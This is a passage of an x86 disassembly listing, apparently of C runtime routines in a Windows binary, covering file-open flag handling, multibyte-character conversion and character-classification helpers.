		jz	short loc_428204
		cmp	[ebp+var_48], 700h
		jz	short loc_4281FB
		jmp	short loc_428216
; ---------------------------------------------------------------------------


loc_4281E9:				; CODE XREF: sub_428050+14Cj
					; sub_428050+164j
		mov	[ebp+var_18], 3
		jmp	short loc_428234
; ---------------------------------------------------------------------------


loc_4281F2:				; CODE XREF: sub_428050+16Dj
		mov	[ebp+var_18], 4
		jmp	short loc_428234
; ---------------------------------------------------------------------------


loc_4281FB:				; CODE XREF: sub_428050+183j
					; sub_428050+195j
		mov	[ebp+var_18], 1
		jmp	short loc_428234
; ---------------------------------------------------------------------------


loc_428204:				; CODE XREF: sub_428050+15Ej
					; sub_428050+18Cj
		mov	[ebp+var_18], 5
		jmp	short loc_428234
; ---------------------------------------------------------------------------


loc_42820D:				; CODE XREF: sub_428050+178j
		mov	[ebp+var_18], 2
		jmp	short loc_428234
; ---------------------------------------------------------------------------


loc_428216:				; CODE XREF: sub_428050+16Fj
					; sub_428050+17Aj ...
		call	sub_420520
		mov	dword ptr [eax], 16h
		call	sub_420530
		mov	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh
		jmp	loc_42855A
; ---------------------------------------------------------------------------


loc_428234:				; CODE XREF: sub_428050+1A0j
					; sub_428050+1A9j ...
		mov	[ebp+var_28], 80h
		mov	edx, [ebp+arg_4]
		and	edx, 100h
		test	edx, edx
		jz	short loc_428285
		lea	eax, [ebp+arg_C]
		mov	[ebp+var_2C], eax
		mov	ecx, [ebp+var_2C]
		add	ecx, 4
		mov	[ebp+var_2C], ecx
		mov	edx, [ebp+var_2C]
		mov	eax, [edx-4]
		mov	[ebp+var_10], eax
		mov	[ebp+var_2C], 0
		mov	ecx, dword_4DB0AC
		not	ecx
		mov	edx, [ebp+var_10]
		and	edx, ecx
		and	edx, 80h
		test	edx, edx
		jnz	short loc_428285
		mov	[ebp+var_28], 1


loc_428285:				; CODE XREF: sub_428050+1F6j
					; sub_428050+22Cj
		mov	eax, [ebp+arg_4]
		and	eax, 40h
		test	eax, eax
		jz	short loc_4282A7
		mov	ecx, [ebp+var_28]
		or	ecx, 4000000h
		mov	[ebp+var_28], ecx
		mov	edx, [ebp+var_34]
		or	edx, 10000h
		mov	[ebp+var_34], edx


loc_4282A7:				; CODE XREF: sub_428050+23Dj
		mov	eax, [ebp+arg_4]
		and	eax, 1000h
		test	eax, eax
		jz	short loc_4282BC
		mov	ecx, [ebp+var_28]
		or	ch, 1
		mov	[ebp+var_28], ecx


loc_4282BC:				; CODE XREF: sub_428050+261j
		mov	edx, [ebp+arg_4]
		and	edx, 20h
		test	edx, edx
		jz	short loc_4282D3
		mov	eax, [ebp+var_28]
		or	eax, 8000000h
		mov	[ebp+var_28], eax
		jmp	short loc_4282E9
; ---------------------------------------------------------------------------


loc_4282D3:				; CODE XREF: sub_428050+274j
		mov	ecx, [ebp+arg_4]
		and	ecx, 10h
		test	ecx, ecx
		jz	short loc_4282E9
		mov	edx, [ebp+var_28]
		or	edx, 10000000h
		mov	[ebp+var_28], edx


loc_4282E9:				; CODE XREF: sub_428050+281j
					; sub_428050+28Bj
		call	sub_4276D0
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_428315
		call	sub_420520
		mov	dword ptr [eax], 18h
		call	sub_420530
		mov	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh
		jmp	loc_42855A
; ---------------------------------------------------------------------------


loc_428315:				; CODE XREF: sub_428050+2A5j
		push	0
		mov	eax, [ebp+var_28]
		push	eax
		mov	ecx, [ebp+var_18]
		push	ecx
		lea	edx, [ebp+var_24]
		push	edx
		mov	eax, [ebp+var_8]
		push	eax
		mov	ecx, [ebp+var_34]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		nop
		call	near ptr 2760000h
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0FFFFFFFFh
		jnz	short loc_428361
		call	near ptr 26908EFh
		nop
		push	eax
		call	sub_420480
		add	esp, 4
		mov	eax, [ebp+var_14]
		push	eax
		call	sub_427C70
		add	esp, 4
		or	eax, 0FFFFFFFFh
		jmp	loc_42855A
; ---------------------------------------------------------------------------


loc_428361:				; CODE XREF: sub_428050+2ECj
		mov	ecx, [ebp+var_4]
		push	ecx
		nop
		call	near ptr 28C0000h
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_4283A1
		mov	edx, [ebp+var_4]
		push	edx
		call	near ptr 267009Bh
		nop
		nop
		call	near ptr 26908EFh
		push	eax
		call	sub_420480
		add	esp, 4
		mov	eax, [ebp+var_14]
		push	eax
		call	sub_427C70
		add	esp, 4
		or	eax, 0FFFFFFFFh
		jmp	loc_42855A
; ---------------------------------------------------------------------------


loc_4283A1:				; CODE XREF: sub_428050+322j
		cmp	[ebp+var_C], 2
		jnz	short loc_4283B2
		mov	cl, [ebp+var_38]
		or	cl, 40h
		mov	[ebp+var_38], cl
		jmp	short loc_4283C1
; ---------------------------------------------------------------------------


loc_4283B2:				; CODE XREF: sub_428050+355j
		cmp	[ebp+var_C], 3
		jnz	short loc_4283C1
		mov	dl, [ebp+var_38]
		or	dl, 8
		mov	[ebp+var_38], dl


loc_4283C1:				; CODE XREF: sub_428050+360j
					; sub_428050+366j
		mov	eax, [ebp+var_4]
		push	eax
		mov	ecx, [ebp+var_14]
		push	ecx
		call	sub_4278C0
		add	esp, 8
		mov	dl, [ebp+var_38]
		or	dl, 1
		mov	[ebp+var_38], dl
		mov	eax, [ebp+var_14]
		sar	eax, 5
		mov	ecx, [ebp+var_14]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, dword_4DB460[eax*4]
		mov	al, [ebp+var_38]
		mov	[edx+ecx+4], al
		movsx	ecx, [ebp+var_38]
		and	ecx, 48h
		test	ecx, ecx
		jnz	loc_4284FF
		movsx	edx, [ebp+var_38]
		and	edx, 80h
		test	edx, edx
		jz	loc_4284FF
		mov	eax, [ebp+arg_4]
		and	eax, 2
		test	eax, eax
		jz	loc_4284FF
		push	2
		push	0FFFFFFFFh
		mov	ecx, [ebp+var_14]
		push	ecx
		call	sub_4254B0
		add	esp, 0Ch
		mov	[ebp+var_3C], eax
		cmp	[ebp+var_3C], 0FFFFFFFFh
		jnz	short loc_428471
		call	sub_420530
		cmp	dword ptr [eax], 83h
		jz	short loc_42846C
		mov	edx, [ebp+var_14]
		push	edx
		call	sub_41B1B0
		add	esp, 4
		mov	eax, [ebp+var_14]
		push	eax
		call	sub_427C70
		add	esp, 4
		or	eax, 0FFFFFFFFh
		jmp	loc_42855A
; ---------------------------------------------------------------------------


loc_42846C:				; CODE XREF: sub_428050+3FAj
		jmp	loc_4284FF
; ---------------------------------------------------------------------------


loc_428471:				; CODE XREF: sub_428050+3EDj
		mov	[ebp+var_30], 0
		push	1
		lea	ecx, [ebp+var_30]
		push	ecx
		mov	edx, [ebp+var_14]
		push	edx
		call	sub_41DDD0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4284C9
		movsx	eax, [ebp+var_30]
		cmp	eax, 1Ah
		jnz	short loc_4284C9
		mov	ecx, [ebp+var_3C]
		push	ecx
		mov	edx, [ebp+var_14]
		push	edx
		call	sub_42CE20
		add	esp, 8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4284C9
		mov	eax, [ebp+var_14]
		push	eax
		call	sub_41B1B0
		add	esp, 4
		mov	ecx, [ebp+var_14]
		push	ecx
		call	sub_427C70
		add	esp, 4
		or	eax, 0FFFFFFFFh
		jmp	loc_42855A
; ---------------------------------------------------------------------------


loc_4284C9:				; CODE XREF: sub_428050+439j
					; sub_428050+442j ...
		push	0
		push	0
		mov	edx, [ebp+var_14]
		push	edx
		call	sub_4254B0
		add	esp, 0Ch
		mov	[ebp+var_3C], eax
		cmp	[ebp+var_3C], 0FFFFFFFFh
		jnz	short loc_4284FF
		mov	eax, [ebp+var_14]
		push	eax
		call	sub_41B1B0
		add	esp, 4
		mov	ecx, [ebp+var_14]
		push	ecx
		call	sub_427C70
		add	esp, 4
		or	eax, 0FFFFFFFFh
		jmp	short loc_42855A
; ---------------------------------------------------------------------------


loc_4284FF:				; CODE XREF: sub_428050+3B0j
					; sub_428050+3C2j ...
		movsx	edx, [ebp+var_38]
		and	edx, 48h
		test	edx, edx
		jnz	short loc_42854B
		mov	eax, [ebp+arg_4]
		and	eax, 8
		test	eax, eax
		jz	short loc_42854B
		mov	ecx, [ebp+var_14]
		sar	ecx, 5
		mov	edx, [ebp+var_14]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, dword_4DB460[ecx*4]
		mov	cl, [eax+edx+4]
		or	cl, 20h
		mov	edx, [ebp+var_14]
		sar	edx, 5
		mov	eax, [ebp+var_14]
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, dword_4DB460[edx*4]
		mov	[edx+eax+4], cl


loc_42854B:				; CODE XREF: sub_428050+4B8j
					; sub_428050+4C2j
		mov	eax, [ebp+var_14]
		push	eax
		call	sub_427C70
		add	esp, 4
		mov	eax, [ebp+var_14]


loc_42855A:				; CODE XREF: sub_428050+C2j
					; sub_428050+12Bj ...
		mov	esp, ebp
		pop	ebp
		retn
sub_428050	endp

; ---------------------------------------------------------------------------
off_42855E	dd offset loc_42813E	; DATA XREF: sub_428050+E7r
		dd offset loc_428147
		dd offset loc_428150
		dd offset loc_428159
		dd offset loc_428162
byte_428572	db 0			; DATA XREF: sub_428050+E1r
		db 4
		dd 3 dup(4040404h), 4010404h, 3	dup(4040404h), 4020404h
		dd 3 dup(4040404h), 0CC030404h,	3 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4285B0	proc near		; CODE XREF: sub_41E730+127p
					; sub_420720+40p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		cmp	eax, dword_4DB560
		jb	short loc_4285C2
		xor	eax, eax
		jmp	short loc_4285E0
; ---------------------------------------------------------------------------


loc_4285C2:				; CODE XREF: sub_4285B0+Cj
		mov	ecx, [ebp+arg_0]
		sar	ecx, 5
		mov	edx, [ebp+arg_0]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, dword_4DB460[ecx*4]
		movsx	eax, byte ptr [eax+edx+4]
		and	eax, 40h


loc_4285E0:				; CODE XREF: sub_4285B0+10j
		pop	ebp
		retn
sub_4285B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4285F0	proc near		; CODE XREF: sub_41E9B0+3CAp
					; sub_41E9B0+B90p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	offset dword_4DB45C
		call	near ptr 2840CCAh
		nop
		cmp	dword_4DB458, 0
		jz	short loc_428628
		push	offset dword_4DB45C
		nop
		call	near ptr 2840C7Bh
		push	13h
		call	sub_41B780
		add	esp, 4
		mov	[ebp+var_4], 1
		jmp	short loc_42862F
; ---------------------------------------------------------------------------


loc_428628:				; CODE XREF: sub_4285F0+18j
		mov	[ebp+var_4], 0


loc_42862F:				; CODE XREF: sub_4285F0+36j
		mov	ax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_428670
		add	esp, 8
		mov	[ebp+var_8], eax
		cmp	[ebp+var_4], 0
		jz	short loc_428655
		push	13h
		call	sub_41B820
		add	esp, 4
		jmp	short loc_428660
; ---------------------------------------------------------------------------


loc_428655:				; CODE XREF: sub_4285F0+57j
		push	offset dword_4DB45C
		nop
		call	near ptr 2840C7Bh


loc_428660:				; CODE XREF: sub_4285F0+63j
		mov	eax, [ebp+var_8]
		mov	esp, ebp
		pop	ebp
		retn
sub_4285F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_428670	proc near		; CODE XREF: sub_4285F0+48p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		cmp	[ebp+arg_0], 0
		jnz	short loc_428683
		xor	eax, eax
		jmp	loc_42870C
; ---------------------------------------------------------------------------


loc_428683:				; CODE XREF: sub_428670+Aj
		cmp	dword_4DB1B8, 0
		jnz	short loc_4286BA
		mov	eax, [ebp+arg_4]
		and	eax, 0FFFFh
		cmp	eax, 0FFh
		jle	short loc_4286AB
		call	sub_420520
		mov	dword ptr [eax], 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_42870C
; ---------------------------------------------------------------------------


loc_4286AB:				; CODE XREF: sub_428670+29j
		mov	ecx, [ebp+arg_0]
		mov	dl, byte ptr [ebp+arg_4]
		mov	[ecx], dl
		mov	eax, 1
		jmp	short loc_42870C
; ---------------------------------------------------------------------------


loc_4286BA:				; CODE XREF: sub_428670+1Aj
		mov	[ebp+var_8], 0
		lea	eax, [ebp+var_8]
		push	eax
		push	0
		mov	ecx, dword_443B70
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		push	1
		lea	eax, [ebp+arg_4]
		push	eax
		push	220h
		mov	ecx, dword_4DB1C8
		push	ecx
		call	near ptr 2710000h
		nop
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_4286F9
		cmp	[ebp+var_8], 0
		jz	short loc_428709


loc_4286F9:				; CODE XREF: sub_428670+81j
		call	sub_420520
		mov	dword ptr [eax], 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_42870C
; ---------------------------------------------------------------------------


loc_428709:				; CODE XREF: sub_428670+87j
		mov	eax, [ebp+var_4]


loc_42870C:				; CODE XREF: sub_428670+Ej
					; sub_428670+39j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_428670	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_428710	proc near		; CODE XREF: sub_420920+74Ep

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	offset dword_4DB45C
		nop
		call	near ptr 2840CCAh
		cmp	dword_4DB458, 0
		jz	short loc_428748
		push	offset dword_4DB45C
		nop
		call	near ptr 2840C7Bh
		push	13h
		call	sub_41B780
		add	esp, 4
		mov	[ebp+var_4], 1
		jmp	short loc_42874F
; ---------------------------------------------------------------------------


loc_428748:				; CODE XREF: sub_428710+18j
		mov	[ebp+var_4], 0


loc_42874F:				; CODE XREF: sub_428710+36j
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_428790
		add	esp, 0Ch
		mov	[ebp+var_8], eax
		cmp	[ebp+var_4], 0
		jz	short loc_428778
		push	13h
		call	sub_41B820
		add	esp, 4
		jmp	short loc_428783
; ---------------------------------------------------------------------------


loc_428778:				; CODE XREF: sub_428710+5Aj
		push	offset dword_4DB45C
		nop
		call	near ptr 2840C7Bh


loc_428783:				; CODE XREF: sub_428710+66j
		mov	eax, [ebp+var_8]
		mov	esp, ebp
		pop	ebp
		retn
sub_428710	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_428790	proc near		; CODE XREF: sub_428710+4Bp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi


loc_428796:				; CODE XREF: sub_428790+3Aj
		cmp	dword_443B70, 1
		jz	short loc_4287C6
		cmp	dword_443B70, 2
		jz	short loc_4287C6
		push	offset aMb_cur_max1Mb_ ; "MB_CUR_MAX ==	1 || MB_CUR_MAX	== 2"
		push	0
		push	4Fh
		push	offset dword_4345D0
		push	2
		call	sub_41AB10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_4287C6
		int	3		; Trap to Debugger


loc_4287C6:				; CODE XREF: sub_428790+Dj
					; sub_428790+16j ...
		xor	eax, eax
		test	eax, eax
		jnz	short loc_428796
		cmp	[ebp+arg_4], 0
		jz	short loc_4287D8
		cmp	[ebp+arg_8], 0
		jnz	short loc_4287DF


loc_4287D8:				; CODE XREF: sub_428790+40j
		xor	eax, eax
		jmp	loc_4288E9
; ---------------------------------------------------------------------------


loc_4287DF:				; CODE XREF: sub_428790+46j
		mov	ecx, [ebp+arg_4]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jnz	short loc_4287FE
		cmp	[ebp+arg_0], 0
		jz	short loc_4287F7
		mov	eax, [ebp+arg_0]
		mov	word ptr [eax],	0


loc_4287F7:				; CODE XREF: sub_428790+5Dj
		xor	eax, eax
		jmp	loc_4288E9
; ---------------------------------------------------------------------------


loc_4287FE:				; CODE XREF: sub_428790+57j
		cmp	dword_4DB1B8, 0
		jnz	short loc_428824
		cmp	[ebp+arg_0], 0
		jz	short loc_42881A
		mov	ecx, [ebp+arg_4]
		movzx	dx, byte ptr [ecx]
		mov	eax, [ebp+arg_0]
		mov	[eax], dx


loc_42881A:				; CODE XREF: sub_428790+7Bj
		mov	eax, 1
		jmp	loc_4288E9
; ---------------------------------------------------------------------------


loc_428824:				; CODE XREF: sub_428790+75j
		mov	ecx, [ebp+arg_4]
		xor	edx, edx
		mov	dl, [ecx]
		mov	eax, off_443C7C
		xor	ecx, ecx
		mov	cx, [eax+edx*2]
		and	ecx, 8000h
		test	ecx, ecx
		jz	short loc_4288AD
		cmp	dword_443B70, 1
		jle	short loc_428880
		mov	edx, [ebp+arg_8]
		cmp	edx, dword_443B70
		jl	short loc_428880
		xor	eax, eax
		cmp	[ebp+arg_0], 0
		setnz	al
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, dword_443B70
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		push	9
		mov	ecx, dword_4DB1C8
		push	ecx
		nop
		call	near ptr 2810000h
		test	eax, eax
		jnz	short loc_4288A6


loc_428880:				; CODE XREF: sub_428790+B7j
					; sub_428790+C2j
		mov	edx, [ebp+arg_8]
		cmp	edx, dword_443B70
		jb	short loc_428896
		mov	eax, [ebp+arg_4]
		movsx	ecx, byte ptr [eax+1]
		test	ecx, ecx
		jnz	short loc_4288A6


loc_428896:				; CODE XREF: sub_428790+F9j
		call	sub_420520
		mov	dword ptr [eax], 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_4288E9
; ---------------------------------------------------------------------------


loc_4288A6:				; CODE XREF: sub_428790+EEj
					; sub_428790+104j
		mov	eax, dword_443B70
		jmp	short loc_4288E9
; ---------------------------------------------------------------------------


loc_4288AD:				; CODE XREF: sub_428790+AEj
		xor	edx, edx
		cmp	[ebp+arg_0], 0
		setnz	dl
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		push	1
		mov	ecx, [ebp+arg_4]
		push	ecx
		push	9
		mov	edx, dword_4DB1C8
		push	edx
		nop
		call	near ptr 2810000h
		test	eax, eax
		jnz	short loc_4288E4
		call	sub_420520
		mov	dword ptr [eax], 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_4288E9
; ---------------------------------------------------------------------------


loc_4288E4:				; CODE XREF: sub_428790+142j
		mov	eax, 1


loc_4288E9:				; CODE XREF: sub_428790+4Aj
					; sub_428790+69j ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_428790	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_443B70, 1
		jle	short loc_428913
		push	103h
		mov	eax, [ebp+8]
		push	eax
		call	sub_41DA90
		add	esp, 8
		mov	[ebp-4], eax
		jmp	short loc_42892A
; ---------------------------------------------------------------------------


loc_428913:				; CODE XREF: ___:004288FBj
		mov	ecx, [ebp+8]
		mov	edx, off_443C7C
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, 103h
		mov	[ebp-4], eax


loc_42892A:				; CODE XREF: ___:00428911j
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_443B70, 1
		jle	short loc_428960
		push	1
		mov	eax, [ebp+8]
		push	eax
		call	sub_41DA90
		add	esp, 8
		mov	[ebp-4], eax
		jmp	short loc_428975
; ---------------------------------------------------------------------------


loc_428960:				; CODE XREF: ___:0042894Bj
		mov	ecx, [ebp+8]
		mov	edx, off_443C7C
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, 1
		mov	[ebp-4], eax


loc_428975:				; CODE XREF: ___:0042895Ej
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_443B70, 1
		jle	short loc_4289A0
		push	2
		mov	eax, [ebp+8]
		push	eax
		call	sub_41DA90
		add	esp, 8
		mov	[ebp-4], eax
		jmp	short loc_4289B5
; ---------------------------------------------------------------------------


loc_4289A0:				; CODE XREF: ___:0042898Bj
		mov	ecx, [ebp+8]
		mov	edx, off_443C7C
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, 2
		mov	[ebp-4], eax


loc_4289B5:				; CODE XREF: ___:0042899Ej
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_443B70, 1
		jle	short loc_4289E0
		push	4
		mov	eax, [ebp+8]
		push	eax
		call	sub_41DA90
		add	esp, 8
		mov	[ebp-4], eax
		jmp	short loc_4289F5
; ---------------------------------------------------------------------------


loc_4289E0:				; CODE XREF: ___:004289CBj
		mov	ecx, [ebp+8]
		mov	edx, off_443C7C
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, 4
		mov	[ebp-4], eax


loc_4289F5:				; CODE XREF: ___:004289DEj
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_443B70, 1
		jle	short loc_428A23
		push	80h
		mov	eax, [ebp+8]
		push	eax
		call	sub_41DA90
		add	esp, 8
		mov	[ebp-4], eax
		jmp	short loc_428A3A
; ---------------------------------------------------------------------------


loc_428A23:				; CODE XREF: ___:00428A0Bj
		mov	ecx, [ebp+8]
		mov	edx, off_443C7C
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, 80h
		mov	[ebp-4], eax


loc_428A3A:				; CODE XREF: ___:00428A21j
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_428A50	proc near		; CODE XREF: sub_420920+105p
					; sub_421DE0+24p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_443B70, 1
		jle	short loc_428A70
		push	8
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_41DA90
		add	esp, 8
		mov	[ebp+var_4], eax
		jmp	short loc_428A85
; ---------------------------------------------------------------------------


loc_428A70:				; CODE XREF: sub_428A50+Bj
		mov	ecx, [ebp+arg_0]
		mov	edx, off_443C7C
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, 8
		mov	[ebp+var_4], eax


loc_428A85:				; CODE XREF: sub_428A50+1Ej
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_428A50	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_443B70, 1
		jle	short loc_428AB0
		push	10h
		mov	eax, [ebp+8]
		push	eax
		call	sub_41DA90
		add	esp, 8
		mov	[ebp-4], eax
		jmp	short loc_428AC5
; ---------------------------------------------------------------------------


loc_428AB0:				; CODE XREF: ___:00428A9Bj
		mov	ecx, [ebp+8]
		mov	edx, off_443C7C
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, 10h
		mov	[ebp-4], eax


loc_428AC5:				; CODE XREF: ___:00428AAEj
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_443B70, 1
		jle	short loc_428AF3
		push	107h
		mov	eax, [ebp+8]
		push	eax
		call	sub_41DA90
		add	esp, 8
		mov	[ebp-4], eax
		jmp	short loc_428B0A
; ---------------------------------------------------------------------------


loc_428AF3:				; CODE XREF: ___:00428ADBj
		mov	ecx, [ebp+8]
		mov	edx, off_443C7C
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, 107h
		mov	[ebp-4], eax


loc_428B0A:				; CODE XREF: ___:00428AF1j
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_443B70, 1
		jle	short loc_428B43
		push	157h
		mov	eax, [ebp+8]
		push	eax
		call	sub_41DA90
		add	esp, 8
		mov	[ebp-4], eax
		jmp	short loc_428B5A
; ---------------------------------------------------------------------------


loc_428B43:				; CODE XREF: ___:00428B2Bj
		mov	ecx, [ebp+8]
		mov	edx, off_443C7C
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, 157h
		mov	[ebp-4], eax


loc_428B5A:				; CODE XREF: ___:00428B41j
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_443B70, 1
		jle	short loc_428B93
		push	117h
		mov	eax, [ebp+8]
		push	eax
		call	sub_41DA90
		add	esp, 8
		mov	[ebp-4], eax
		jmp	short loc_428BAA
; ---------------------------------------------------------------------------


loc_428B93:				; CODE XREF: ___:00428B7Bj
		mov	ecx, [ebp+8]
		mov	edx, off_443C7C
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, 117h
		mov	[ebp-4], eax


loc_428BAA:				; CODE XREF: ___:00428B91j
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_443B70, 1
		jle	short loc_428BE0
		push	20h
		mov	eax, [ebp+8]
		push	eax
		call	sub_41DA90
		add	esp, 8
		mov	[ebp-4], eax
		jmp	short loc_428BF5
; ---------------------------------------------------------------------------


loc_428BE0:				; CODE XREF: ___:00428BCBj
		mov	ecx, [ebp+8]
		mov	edx, off_443C7C
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, 20h
		mov	[ebp-4], eax


loc_428BF5:				; CODE XREF: ___:00428BDEj
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		cmp	dword ptr [ebp+8], 80h
		sbb	eax, eax
		neg	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+8]
		and	eax, 7Fh
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 8
		cmp	dword_443B70, 1
		jle	short loc_428C45
		push	103h
		mov	eax, [ebp+8]
		push	eax
		call	sub_41DA90
		add	esp, 8
		mov	[ebp-4], eax
		jmp	short loc_428C5C
; ---------------------------------------------------------------------------


loc_428C45:				; CODE XREF: ___:00428C2Dj
		mov	ecx, [ebp+8]
		mov	edx, off_443C7C
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, 103h
		mov	[ebp-4], eax


loc_428C5C:				; CODE XREF: ___:00428C43j
		cmp	dword ptr [ebp-4], 0
		jnz	short loc_428C71
		cmp	dword ptr [ebp+8], 5Fh
		jz	short loc_428C71
		mov	dword ptr [ebp-8], 0
		jmp	short loc_428C78
; ---------------------------------------------------------------------------


loc_428C71:				; CODE XREF: ___:00428C60j
					; ___:00428C66j
		mov	dword ptr [ebp-8], 1


loc_428C78:				; CODE XREF: ___:00428C6Fj
		mov	eax, [ebp-8]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 8
		cmp	dword_443B70, 1
		jle	short loc_428CA5
		push	107h
		mov	eax, [ebp+8]
		push	eax
		call	sub_41DA90
		add	esp, 8
		mov	[ebp-4], eax
		jmp	short loc_428CBC
; ---------------------------------------------------------------------------


loc_428CA5:				; CODE XREF: ___:00428C8Dj
		mov	ecx, [ebp+8]
		mov	edx, off_443C7C
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, 107h
		mov	[ebp-4], eax


loc_428CBC:				; CODE XREF: ___:00428CA3j
		cmp	dword ptr [ebp-4], 0
		jnz	short loc_428CD1
		cmp	dword ptr [ebp+8], 5Fh
		jz	short loc_428CD1
		mov	dword ptr [ebp-8], 0
		jmp	short loc_428CD8
; ---------------------------------------------------------------------------


loc_428CD1:				; CODE XREF: ___:00428CC0j
					; ___:00428CC6j
		mov	dword ptr [ebp-8], 1


loc_428CD8:				; CODE XREF: ___:00428CCFj
		mov	eax, [ebp-8]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

